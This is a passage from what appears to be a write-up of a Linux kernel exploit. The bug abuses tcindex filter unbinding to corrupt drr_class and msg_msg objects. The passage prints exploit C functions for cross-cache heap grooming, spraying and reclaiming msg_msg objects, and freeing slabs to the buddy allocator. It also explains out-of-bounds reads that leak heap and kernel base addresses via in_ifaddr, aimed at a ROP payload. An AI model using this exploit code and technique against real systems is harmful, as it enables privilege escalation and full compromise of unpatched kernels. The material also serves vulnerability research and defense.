<span class="o">*</span><span class="n">msgtyp</span><span class="p">,</span> <span class="n">mode</span><span class="p">))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">mode</span> <span class="o">==</span> <span class="n">SEARCH_LESSEQUAL</span> <span class="o">&&</span> <span class="n">msg</span><span class="o">-></span><span class="n">m_type</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="o">*</span><span class="n">msgtyp</span> <span class="o">=</span> <span class="n">msg</span><span class="o">-></span><span class="n">m_type</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">found</span> <span class="o">=</span> <span class="n">msg</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">mode</span> <span class="o">==</span> <span class="n">SEARCH_NUMBER</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">msgtyp</span> <span class="o">==</span> <span class="n">count</span><span class="p">)</span>
<span class="k">return</span> <span class="n">msg</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span>
<span class="k">return</span> <span class="n">msg</span><span class="p">;</span>
<span class="n">count</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">found</span> <span class="o">?:</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EAGAIN</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Similarly, in <code class="language-plaintext highlighter-rouge">tcindex_destroy</code>, there is also a loop that performs the <code class="language-plaintext highlighter-rouge">tcf_unbind_filter</code> decrement operation:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">tcindex_destroy</span><span class="p">(</span><span class="k">struct</span> <span class="n">tcf_proto</span> <span class="o">*</span><span class="n">tp</span><span class="p">,</span> <span class="n">bool</span> <span class="n">rtnl_held</span><span class="p">,</span>
<span class="k">struct</span> <span class="n">netlink_ext_ack</span> <span class="o">*</span><span class="n">extack</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">tcindex_data</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">rtnl_dereference</span><span class="p">(</span><span class="n">tp</span><span class="o">-></span><span class="n">root</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="n">pr_debug</span><span class="p">(</span><span class="s">"tcindex_destroy(tp %p),p %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">tp</span><span class="p">,</span> <span class="n">p</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">p</span><span class="o">-></span><span class="n">perfect</span><span class="p">)</span> <span class="p">{</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">p</span><span class="o">-></span><span class="n">hash</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">tcindex_filter_result</span> <span class="o">*</span><span class="n">r</span> <span class="o">=</span> <span class="n">p</span><span class="o">-></span><span class="n">perfect</span> <span class="o">+</span> <span class="n">i</span><span class="p">;</span>
<span class="cm">/* tcf_queue_work() does not guarantee the ordering we
* want, so we have to take this refcnt temporarily to
* ensure 'p' is freed after all tcindex_filter_result
* here. Imperfect hash does not need this, because it
* uses linked lists rather than an array.
*/</span>
<span class="n">tcindex_data_get</span><span class="p">(</span><span class="n">p</span><span class="p">);</span>
<span class="n">tcf_unbind_filter</span><span class="p">(</span><span class="n">tp</span><span class="p">,</span> <span class="o">&</span><span class="n">r</span><span class="o">-></span><span class="n">res</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">tcf_exts_get_net</span><span class="p">(</span><span class="o">&</span><span class="n">r</span><span class="o">-></span><span class="n">exts</span><span class="p">))</span>
<span class="n">tcf_queue_work</span><span class="p">(</span><span class="o">&</span><span class="n">r</span><span class="o">-></span><span class="n">rwork</span><span class="p">,</span>
<span class="n">tcindex_destroy_rexts_work</span><span class="p">);</span>
<span class="k">else</span>
<span class="n">__tcindex_destroy_rexts</span><span class="p">(</span><span class="n">r</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">p</span><span class="o">-></span><span class="n">h</span> <span class="o">&&</span> <span class="n">i</span> <span class="o"><</span> <span class="n">p</span><span class="o">-></span><span class="n">hash</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">tcindex_filter</span> <span class="o">*</span><span class="n">f</span><span class="p">,</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span>
<span class="n">bool</span> <span class="n">last</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">f</span> <span class="o">=</span> <span class="n">rtnl_dereference</span><span class="p">(</span><span class="n">p</span><span class="o">-></span><span class="n">h</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="n">f</span><span class="p">;</span> <span class="n">f</span> <span class="o">=</span> <span class="n">next</span><span class="p">)</span> <span class="p">{</span>
<span class="n">next</span> <span class="o">=</span> <span class="n">rtnl_dereference</span><span class="p">(</span><span class="n">f</span><span class="o">-></span><span class="n">next</span><span class="p">);</span>
<span class="n">tcindex_delete</span><span class="p">(</span><span class="n">tp</span><span class="p">,</span> <span class="o">&</span><span class="n">f</span><span class="o">-></span><span class="n">result</span><span class="p">,</span> <span class="o">&</span><span class="n">last</span><span class="p">,</span> <span class="n">rtnl_held</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">tcf_queue_work</span><span class="p">(</span><span class="o">&</span><span class="n">p</span><span class="o">-></span><span class="n">rwork</span><span class="p">,</span> <span class="n">tcindex_destroy_work</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Since the header of msg_msg occupies 0x30 bytes, the content of msg_msg must be greater than 0x30 to be allocated to kmalloc-cg-128. For example, a size of 0x40 only needs 0x41 times of unbind to make <code class="language-plaintext highlighter-rouge">dst->m_ts</code> negative. Set the loop of find_msg to 0x2000 or even larger, this can easily complete this condition race and overflow the adjacent msg_msg:</p>
<p><img src="https://image.baidu.com/search/down?url=https://wx2.sinaimg.cn/large/ee2fecafly1hme192peuyj20oj0kkdga.jpg" alt="" /></p>
<p>In fact, in addition to the time window, I also need to ensure that the drr_class object of the loop decrement is exactly the msg_msg object generated by prepare_copy. After the basic cross cache is done (explained in detail in the next section), it is just a general <a href="https://adamdoupe.com/publications/kheaps-exploit-reliability-usenix22.pdf">heap spray</a> and the <a href="https://libfuse.github.io/doxygen/structfuse__loop__config.html#aa91fc3ebb89633f27e94d8ab510bc37e">multi-threading</a> of FUSE to card points will reduce the success rate of exploitation. Drawing on the idea of <a href="https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/#method">CVE-2022-29582</a>, I found a precise positioning method.</p>
<p>Although <code class="language-plaintext highlighter-rouge">CONFIG_SLAB_FREELIST_RANDOM</code> exists, because unbind decrement is equivalent to m_ts decrement, after decrementing by 1, the drr_class object bound multiple times can be determined through the return value of MSG_COPY:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">find_cross_cache</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">msgbuf</span> <span class="p">{</span>
<span class="kt">long</span> <span class="n">mtype</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">mtext</span><span class="p">[</span><span class="mh">0x40</span><span class="p">];</span>
<span class="p">}</span> <span class="n">msg</span><span class="p">;</span>
<span class="n">send_del_filter</span><span class="p">(</span><span class="mh">0x42</span><span class="p">);</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">));</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">SPRAY_PAGE_NUM</span> <span class="o">*</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">msgrcv</span><span class="p">(</span><span class="n">g_qid</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mh">0x3f</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">IPC_NOWAIT</span> <span class="o">|</span> <span class="n">MSG_COPY</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">found_cross_qid</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">found_cross_qid</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Cannot find the cross cache one :(</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Find the cross cache one is at %d msgq</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">found_cross_qid</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Because the early defragmentation will result in a certain number of free objects remaining in kmem_cache_cpu, first release this object that has been identified through msgrcv (hang on per cpu partial), spray a page of msg_msg object, decrement by 1 to identify again this reoccupied msg_msg is the <code class="language-plaintext highlighter-rouge">Xth</code> allocated among the 32 (starting from 0), msgrcv this object again, finally allocate <code class="language-plaintext highlighter-rouge">X+1</code> msg_msg, and the next time you allocate, you can reoccupy the drr_class object that has been bound multiple times:</p>
<p><img src="https://image.baidu.com/search/down?url=https://wx2.sinaimg.cn/large/ee2fecafly1hme1hghveuj20g80bvta0.jpg" alt="" /></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">find_reuse_one</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">msgbuf</span> <span class="p">{</span>
<span class="kt">long</span> <span class="n">mtype</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">mtext</span><span class="p">[</span><span class="mh">0x40</span><span class="p">];</span>
<span class="p">}</span> <span class="n">msg</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">));</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">msgrcv</span><span class="p">(</span><span class="n">g_qid</span><span class="p">[</span><span class="n">found_cross_qid</span><span class="p">],</span> <span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mh">0x3f</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">IPC_NOWAIT</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">errExit</span><span class="p">(</span><span class="s">"[-] msgrcv to free the cross cache one"</span><span class="p">);</span>
<span class="n">msg</span><span class="p">.</span><span class="n">mtype</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">,</span> <span class="sc">'G'</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">));</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">REUSE_PAGE_NUM</span> <span class="o">*</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">msgsnd</span><span class="p">(</span><span class="n">g_reuse_qid</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">errExit</span><span class="p">(</span><span class="s">"[-] msgsnd to alloc msg_msg"</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">send_del_filter</span><span class="p">(</span><span class="mh">0x43</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">));</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">REUSE_PAGE_NUM</span> <span class="o">*</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">msgrcv</span><span class="p">(</span><span class="n">g_reuse_qid</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mh">0x3f</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">IPC_NOWAIT</span> <span class="o">|</span> <span class="n">MSG_COPY</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">found_reuse_qid</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">found_reuse_qid</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Cannot find the reuse one :(</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Find the reuse one is at %d msgq</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">found_reuse_qid</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">));</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">msgrcv</span><span class="p">(</span><span class="n">g_reuse_qid</span><span class="p">[</span><span class="n">found_reuse_qid</span><span class="p">],</span> <span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mh">0x3f</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">IPC_NOWAIT</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">errExit</span><span class="p">(</span><span class="s">"[-] msgrcv to free the reuse one"</span><span class="p">);</span>
<span class="n">msg</span><span class="p">.</span><span class="n">mtype</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">,</span> <span class="sc">'H'</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">));</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">found_reuse_qid</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">msgsnd</span><span class="p">(</span><span class="n">g_reuse_qid</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">errExit</span><span class="p">(</span><span class="s">"[-] msgsnd to alloc msg_msg"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<h2>cross cache</h2>
<p>To convert the drr_class of kmalloc-128 to the msg_msg of kmalloc-cg-128, a <a href="https://grsecurity.net/how_autoslab_changes_the_memory_unsafety_game">cross cache</a> conversion is naturally required, with the <a href="https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html">cache-of-castaways writeup</a> providing a reference for using alloc_pg_vec to perform <a href="https://etenal.me/archives/1825">heap fengshui</a>. First, deplete the current kmalloc-128 and kmalloc-cg-128 slots, then separate the order 0 page with heap fengshui, allocate drr_class, bind one class to overflow, release all drr_class, and finally use msg_msg for placeholder:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">drain_kmalloc_cg_128</span><span class="p">();</span>
<span class="n">drain_kmalloc_128</span><span class="p">();</span>
<span class="n">prepare_page_fengshui</span><span class="p">();</span>
<span class="n">alloc_drr_classes</span><span class="p">();</span>
<span class="n">bind_to_overflow</span><span class="p">();</span>
<span class="n">free_drr_classes</span><span class="p">();</span>
<span class="n">alloc_msg_msgs</span><span class="p">();</span>
</code></pre></div></div>
<p>A question arises here: how many drr_class objects do I need to release for the corresponding slab to return to the buddy system? Referencing the <a href="http://www.wowotech.net/memory_management/426.html">graphical explanation of slub</a>, it is enough for the nr_partial of kmem_cache_node to be greater than the min_partial of kmem_cache. The migration of slab on per cpu partial depends on the cpu_partial member of kmem_cache, but the meaning of the cpu_partial is different in the original text and <a href="https://www.kernel.org/doc/Documentation/ABI/testing/sysfs-kernel-slab">official documents</a>. It is unclear whether it refers to the number of free objects or the number of pages hung on it.</p>
<p>I started testing the poc code on 5.15.94, combining the writeup of <a href="https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/#crossing-the-cache-boundary">CVE-2022-29582</a> and discussions from web <a href="https://lore.kernel.org/linux-mm/CAG48ez2Qx5K1Cab-m8BdSibp6wLTip6ro4=-umR7BLsEgjEYzA@mail.gmail.com/T/#u">searches</a>, the previous explanation for cpu_partial was indeed the number of pages hung on it:</p>
<blockquote>
<p>This means that in practice, SLUB actually ends up keeping as many <strong>pages</strong> on the percpu partial lists as it intends to keep <strong>free objects</strong> there.</p>
</blockquote>
<p>Later, after the compatibility fix in the <a href="https://github.com/torvalds/linux/commit/b47291ef02b0bee85ffb7efd6c336060ad1fe1a4">commit</a>, on 6.1.72, cpu_partial represents the number of free objects, and the boundary condition for slab migration is dynamically calculated:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">slub_set_cpu_partial</span><span class="p">(</span><span class="k">struct</span> <span class="n">kmem_cache</span> <span class="o">*</span><span class="n">s</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">nr_objects</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">nr_slabs</span><span class="p">;</span>
<span class="n">s</span><span class="o">-></span><span class="n">cpu_partial</span> <span class="o">=</span> <span class="n">nr_objects</span><span class="p">;</span>
<span class="cm">/*
* We take the number of objects but actually limit the number of
* slabs on the per cpu partial list, in order to limit excessive
* growth of the list. For simplicity we assume that the slabs will
* be half-full.
*/</span>
<span class="n">nr_slabs</span> <span class="o">=</span> <span class="n">DIV_ROUND_UP</span><span class="p">(</span><span class="n">nr_objects</span> <span class="o">*</span> <span class="mi">2</span><span class="p">,</span> <span class="n">oo_objects</span><span class="p">(</span><span class="n">s</span><span class="o">-></span><span class="n">oo</span><span class="p">));</span>
<span class="n">s</span><span class="o">-></span><span class="n">cpu_partial_slabs</span> <span class="o">=</span> <span class="n">nr_slabs</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>So, whether the maximum number of pages hung on per cpu partial is <a href="https://elixir.bootlin.com/linux/v5.15.94/source/mm/slub.c#L4025">30</a> or <a href="https://elixir.bootlin.com/linux/v6.1.72/source/mm/slub.c#L4154">8</a>, the total I set is <code class="language-plaintext highlighter-rouge">SPRAY_PAGE_NUM + DRAIN_PAGE_NUM = 56</code>, which will eventually be returned to the buddy system:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">free_drr_classes</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="n">SPRAY_PAGE_NUM</span> <span class="o">*</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">;</span> <span class="n">i</span> <span class="o">+=</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">)</span> <span class="p">{</span>
<span class="n">send_del_class</span><span class="p">(</span><span class="n">U_QDISC_HANDLE</span> <span class="o">|</span> <span class="p">(</span><span class="n">i</span><span class="p">));</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="n">DRAIN_PAGE_NUM</span> <span class="o">*</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">;</span> <span class="n">i</span> <span class="o">+=</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">)</span> <span class="p">{</span>
<span class="n">send_del_class</span><span class="p">(</span><span class="n">U_QDISC_HANDLE</span> <span class="o">|</span> <span class="p">(</span><span class="n">SPRAY_PAGE_NUM</span> <span class="o">*</span> <span class="n">ONEPAGE_K128_NUM</span> <span class="o">+</span> <span class="n">i</span><span class="p">));</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="n">SPRAY_PAGE_NUM</span> <span class="o">*</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">((</span><span class="n">i</span> <span class="o">%</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span>
<span class="k">continue</span><span class="p">;</span>
<span class="n">send_del_class</span><span class="p">(</span><span class="n">U_QDISC_HANDLE</span> <span class="o">|</span> <span class="p">(</span><span class="n">i</span><span class="p">));</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Free drr_class to buddy done</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<h2>info leak</h2>
<p>Now, by increasing m_ts to perform out-of-bound reading of msg_msg, we can place qid information in the content when generating msg_msg in advance, so we can know which msg_queue the adjacent msg_msg belongs to. In msgsnd, the sent msg_msg will be linked into the same <code class="language-plaintext highlighter-rouge">msq->q_messages</code>, so a new larger msg_msg with rop payload can be added, and after out-of-bound reading, the heap address with controllable content can be leaked:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pipelined_send</span><span class="p">(</span><span class="n">msq</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="o">&</span><span class="n">wake_q</span><span class="p">))</span> <span class="p">{</span>
<span class="cm">/* no one is waiting for this message, enqueue it */</span>
<span class="n">list_add_tail</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="o">-></span><span class="n">m_list</span><span class="p">,</span> <span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_messages</span><span class="p">);</span>
<span class="n">msq</span><span class="o">-></span><span class="n">q_cbytes</span> <span class="o">+=</span> <span class="n">msgsz</span><span class="p">;</span>
<span class="n">msq</span><span class="o">-></span><span class="n">q_qnum</span><span class="o">++</span><span class="p">;</span>
<span class="n">percpu_counter_add_local</span><span class="p">(</span><span class="o">&</span><span class="n">ns</span><span class="o">-></span><span class="n">percpu_msg_bytes</span><span class="p">,</span> <span class="n">msgsz</span><span class="p">);</span>
<span class="n">percpu_counter_add_local</span><span class="p">(</span><span class="o">&</span><span class="n">ns</span><span class="o">-></span><span class="n">percpu_msg_hdrs</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As for leaking kernel base addresses, first look for a usable structure in kmalloc-cg-128, and refer to the <a href="https://veritas501.github.io/2022_08_11_%E5%9F%BA%E4%BA%8EUSMA%E7%9A%84%E5%86%85%E6%A0%B8%E9%80%9A%E7%94%A8EXP%E7%BC%96%E5%86%99%E6%80%9D%E8%B7%AF%E5%9C%A8%20CVE-2022-34918%20%E4%B8%8A%E7%9A%84%E5%AE%9E%E8%B7%B5/#0x00-%E7%AE%80%E5%8D%95%E5%9B%9E%E9%A1%BE%E4%B8%8A%E6%AC%A1%E7%9A%84%E6%89%8B%E6%B3%95">method</a> of using user_key_payload for information leakage. Use CodeQL to query suitable structures. Although not many, the <a href="https://elixir.bootlin.com/linux/v6.1.72/source/include/linux/inetdevice.h#L145">in_ifaddr</a> structure can be used. By deleting the IP address on the interface with <a href="https://elixir.bootlin.com/linux/v6.1.72/source/net/ipv4/devinet.c#L2789">RTM_NEWADDR</a>, the address of inet_rcu_free_ifa is written with <a href="https://blog.csdn.net/zhoutaopower/article/details/86646688">call_rcu</a>, and the kernel base address can be leaked again with out-of-bound reading.</p>
<p><img src="https://image.baidu.com/search/down?url=https://wx3.sinaimg.cn/large/ee2fecafly1hme1hkkrnej215k0dqq6m.jpg" alt="" /></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">struct</span> <span class="n">in_ifaddr</span> <span class="o">*</span><span class="nf">inet_alloc_ifa</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span> <span class="n">kzalloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">in_ifaddr</span><span class="p">),</span> <span class="n">GFP_KERNEL_ACCOUNT</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">inet_rcu_free_ifa</span><span class="p">(</span><span class="k">struct</span> <span class="n">rcu_head</span> <span class="o">*</span><span class="n">head</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">in_ifaddr</span> <span class="o">*</span><span class="n">ifa</span> <span class="o">=</span> <span class="n">container_of</span><span class="p">(</span><span class="n">head</span><span class="p">,</span> <span class="k">struct</span> <span class="n">in_ifaddr</span><span class="p">,</span> <span class="n">rcu_head</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ifa</span><span class="o">-></span><span class="n">ifa_dev</span><span class="p">)</span>
<span class="n">in_dev_put</span><span class="p">(</span><span class="n">ifa</span><span class="o">-></span><span class="n">ifa_dev</span><span class="p">);</span>
<span class="n">kfree</span><span class="p">(</span><span class="n">ifa</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">inet_free_ifa</span><span class="p">(</span><span class="k">struct</span> <span class="n">in_ifaddr</span> <span class="o">*</span><span class="n">ifa</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">call_rcu</span><span class="p">(</span><span class="o">&</span><span class="n">ifa</span><span class="o">-></span><span class="n">rcu_head</span><span class="p">,</span> <span class="n">inet_rcu_free_ifa</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
